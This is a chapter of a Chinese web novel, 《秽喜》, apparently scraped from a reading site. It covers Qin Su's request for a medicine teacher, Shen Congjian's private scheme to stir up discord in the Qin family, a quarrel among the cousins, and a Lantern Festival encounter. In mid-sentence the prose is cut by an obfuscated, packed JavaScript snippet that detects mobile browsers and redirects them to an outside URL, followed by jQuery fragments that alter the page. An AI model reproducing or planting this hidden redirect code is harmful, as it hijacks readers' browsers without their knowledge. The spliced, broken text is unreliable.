4. 第4章
作品:《秽喜》 除夕夜宴,秦愫从来都是同家人待在一起的,如果没有沂州那三年,或许现下她会觉得委屈,但幸好,那三年存在,如今的她只有一点点难过,忍一忍就能不在意。
她在院里西墙根辟出一块空地,用来安置熬煮汤药的锅灶和柴火,为防刮风下雪,又让人从仔角梁套兽处扯下一块油布,堪堪遮在头顶。
父亲看见,总说那油布太丑,得空要帮她改个凉亭,她也嬉笑着应下,父亲公务繁忙,哪里顾得上她,且这篷布约莫用不了太久,也不必大费周章。
红蓼蹲下身,将暖手炉塞到她斗篷里,揶好后抬头问:“姑娘为何不去小厨房熬煮,这边四面通透,太冷了。”
“小厨房虽暖和但味道太多,混淆在一起会让我嗅不出火候跟药效,我想要闻的清楚些。”
红蓼往风口处挪步,仰头看了眼璀璨如昼的夜空,忍不住大声说道:“京城虽比沂州繁华,可总觉得不够热闹。”
“你这话说的倒是极有意境。”秦愫细细品味,弯起眉眼回头笑道,“放心,咱们总会再回去的。”
红蓼使劲点头。
守岁时,秦愫换了身衣裳,却还是被秦夫人闻到药味。
“当时送你回来的人说你跟着光霁学过医,我还当是玩笑话,如今看来你却是真的喜欢。”
沂州外祖是医官世家,大表兄袁光霁子承父业潜心修习,弱冠之年已经在州府任医学博士,是袁家小辈中最出息的一个。
当年秦愫磨了他好久才点头答应,起初也不太情愿,但后来见秦愫认真勤勉,这才不遗余力。
秦愫原还困得要紧,听到沂州立时打起精神,朝着秦夫人便挨了过去,“我不是喜欢,是特别喜欢。”
秦夫人戳她眉心:“你哪一次不是这么说的?”
秦愫小脸一抬,央着说道:“这次真的不一样,表兄都赞过我了。”
秦明景酒意上头,正欲起身去里屋歇息,刚要动,秦愫急急跑到他跟前,将人摁回圈椅,随即双手轻轻捶打他肩膀,讨好似的弯眸浅笑。
秦明景怔了下,扭头:“怎么,要提的事儿你母亲办不了?”
秦愫连连点头:“父亲英明。”
秦夫人也起了兴致,靠着软枕将薄衾拉高盖在膝上:“快说来听听。”
“自打离开沂州,我看医书总有一知半解的时候,想找人解惑却是不得其路,便想着请父亲帮忙寻个教我医术的师父。”
秦夫人挑眉,顺势看向秦明景,秦明景显然也有些意外。
两人彼此换了个眼神,秦夫人开口问道:“你学这些做什么?”
秦愫笑:“我喜欢琢磨药材和方子,也喜欢调制药膳,学这些东西让我高兴。”
秦夫人坐直身子:“不为旁的?”
秦熙屏了呼吸,余光睨向秦愫。
“等日后我想起来旁的,再跟父亲母亲交代可好。”她语气真切,说完便走到堂中,朝着秦明景和秦夫人端正福礼,“恳请父亲母亲应允,为我寻个好师父。”
秦熙暗想:她惯会卖弄讨巧。
偏爹娘喜欢,自小便说她玉雪可爱,便是要天上月水中花都得想方设法给她找来。
果然,秦明景在她央求下很快点头。
“可不许再半途而废。”
秦愫高兴极了,眼眸愈发水亮:“我保证不会。”
年节休沐,寻常官员大抵歇到上元节后,秦明景亦不例外,虽说养心园仍在督建中,但他只需偶尔提点一二,下属便心领神会,按部就班的进行。
沈从简年初五便又住进署衙,昨夜忙了半宿,睁眼已是晌午,正好遇到前来巡视的秦明景。
“说来也巧,侍奉贵妃娘娘的徐太医曾在太医署教学,若大人觉得合适,我倒是可以同徐太医提一嘴。”
秦明景颇为惊讶:“徐太医德高望重,能答应教一个小姑娘吗?”
沈从简凤眸轻弯,笑说:“或许就同意了呢。”
贵妃娘娘是沈从简的嫡姐,两人一母同胞,长相上也都随了生母,都有一双极好看的凤眼。
贵妃只比沈从简大五岁,但从记事起便习惯护着沈从简,直到现在也还是如此。
宫婢剥好了蜜桔,用白玉盘盛着端到小案上,躬身退出内殿。
“你不会当了真,要同秦家结亲吧。”
殿内燃着地龙,撤了炭盆还是温热,沈贵妃便穿着单薄春衫,臂间的披帛慵懒垂在身后,她走到小案前,低眸打量沈从简的神色。
沈从简从白玉盘中捡出一颗蜜桔,剥去丝络后递给她,沈贵妃没接,似在等他回答。
“我若说是,阿姐待如何?”
沈贵妃闻言一怔,旋即嘴角上翘,起身走回榻上:“你这般说话,便知没有鬼迷心窍。”
沈从简看了眼指间的蜜桔,放回盘中。
“我只是想看秦家人因为一场婚事闹到姐妹反目,家宅不宁,只要想想,便觉得很有趣。何况,尤氏正欢喜着,怎好当头就泼冷水。”
他顿了顿,撑起下颌缓缓道:“当然得等她志得意满的时候,觉得她能掌控沈家的时候,忽然泼上去,我倒是想不出她那张脸会是什么表情。”
沈贵妃揉着太阳穴,鼻底轻轻一嗤:“且让她多做几日贤妻良母。”
“徐太医这边,阿姐费心。”
沈贵妃斜觑他一眼:“我却要提醒你一句,莫要阴沟里翻船,自己个儿栽进去。”
“知道了。”
徐太医肯教秦愫,是秦家人断断不敢想的,二房和三房得了消息便赶忙前去打听,借着话家常的空闲撺掇几个孩子去寻秦愫和秦熙,巴巴等着看热闹。
秦熙耐着性子同她们周旋,既不应声也不拒绝,摆明了针戳不透水泼不进,客客气气笑脸迎人。
秦愫却是连敷衍都懒得做,一句话便堵了她们的虚与委蛇。
“告诉你们,然后满京城的乱说,传我坏话是不是?”
众人面色难看,有不服气的小声顶了句嘴:“你毕竟是秦家人,我们是替你高兴,偏你不领情,非要把我们想成坏人。”
秦愫看过去,那是二房五妹妹,牙尖嘴利惯会颠倒黑白,像二婶婶似的喜欢嚼舌根。
“我从沂州回京那日,要是没看错,坐在茶楼同人道我是非的正是五妹妹,不知这回五妹妹得了消息,又要如何编排我。”
秦棠霎时面红耳赤,张着嘴僵了半晌才憋出一句话来:“你冤枉我!”
众人原还想着插嘴说和,见秦棠被堵得哑口无言,纷纷噤声。如今秦愫名声坏了,看这阵仗怕是要破罐子破摔,谁若是同她直呛,保不齐没好果子吃。
屋内阒然。
秦熙咳了声,顾全着局面笑说:“姐妹间今日吵嘴明日和好,谁都免不了,可不许真的置气。”
剑拔弩张的气氛并未因此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745550|145257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓和。
秦愫盯着她,忽然笑了笑,随后起身掀了帘子离开。
她知道秦熙在和稀泥,但又如何,横竖她不需要同不在意的人解释,她们要的不是真相,而是用来调侃消遣的谈资。
秦熙拢着衣领追上来,扯住她手臂低声道:“你方才的任性只能逞一时之快,难道要撕破脸这辈子都不说话了吗?你便是再不高兴,做事也该留有余地,咱们几家日后总要来往帮衬,面上至少过得去才好。”
秦愫扥开手臂,往后退到廊柱边:“她们喜欢待在淤泥里,我不喜欢,我想往干净明亮的地方去,她们让我不痛快,我便也没必要同她们帮衬往来。”
默了少顷,她又说道:“此番能得徐太医授课,承的是姐姐情谊,劳姐姐替我谢过沈世子。”
正因如此,秦愫才没有计较那句话,分明就不是“吵嘴”。
上元节前夕,沂州袁家的信寄到秦夫人手中。
秦夫人看完眉心才舒展开,“还以为是你外祖母身子不好,吓得我手也发抖,心也发抖,竟是光霁要进京了。”
信中写着,袁光霁会于二月底到京城述职,而后或许会外放到青州,走的是他父亲升迁的老路。
秦夫人感慨:“到底光霁出息,没有辱没祖宗。”
比起秦夫人的欢喜,秦熙可谓郁结至极,年后晋国公府虽送了礼物,但她跟沈从简却是一面也未曾见,更何况那没有定数的婚期不知要拖到何时。前些日子她同薛驰月在一块儿,得知晋国公平乱恐一年半载都难成,她便有些心烦意乱了。
偏又不能当着父亲母亲的面表露出来,只好强撑着笑意在那坐了大半晌,偶尔点头附和,实则根本没听见母亲说了什么。
秦愫听说袁光霁要来,很是高兴:“这几日我要给徐太医准备束脩,论究起来大表兄还是我学医后的第一位先生,合该也给他备一份才是。”
秦夫人道:“我还想帮你备上,既有主意便自己掂量着办,可不许出岔子。”
看她眉眼含笑,秦熙更加燥郁。
沈从简帮忙引荐徐太医,虽家里都说是看在她的情分上,可她却不这么想,她觉得当中或许有蹊跷,可能沈从简自始至终看中的都是愫愫,是自己会错意,自作多情了。
想到这儿,秦熙便觉得心慌气短,绝不能小觑愫愫,也决不可坐以待毙。
上元节夜,京城不设宵禁,半城人仿佛都涌到街上。
红蓼手里拎着一堆东西,怕跟丢了姑娘,眼睛一直不敢松懈。
秦愫许久未在京城过上元节,被那纷繁的鳌山花树引得移不开眼线,圣上登基没几年,正是鼎盛时候,减赋税兴农业,百姓津津乐道,为此自发绘制了各式各样歌功颂德的彩灯,远远望去,恢弘壮阔。
秦愫脚步轻快,转到卖花灯的摊贩前,停下来仔细挑选。
她方要伸手,便见有人比她更快一步,捏住灯笼柄顺势一提,那灯笼悬在半空,流苏悠悠荡漾起来。
秦愫顺着那手往上看,看到一张俊秾冶丽的脸。
白净细腻,长眉凤眸,是特别好看的长相。
她在那脸上多停留了片刻,然后别开视线,转身往别处走去。
沈从简眉尾轻轻一蹙,他很确定,秦二姑娘不记得自己了。
灯笼在脚下烧的只剩黢黑的框架,又脏又丑,就像三年前的他,像团破烂似的瘫在地上,被她翻捡,被她嫌弃。

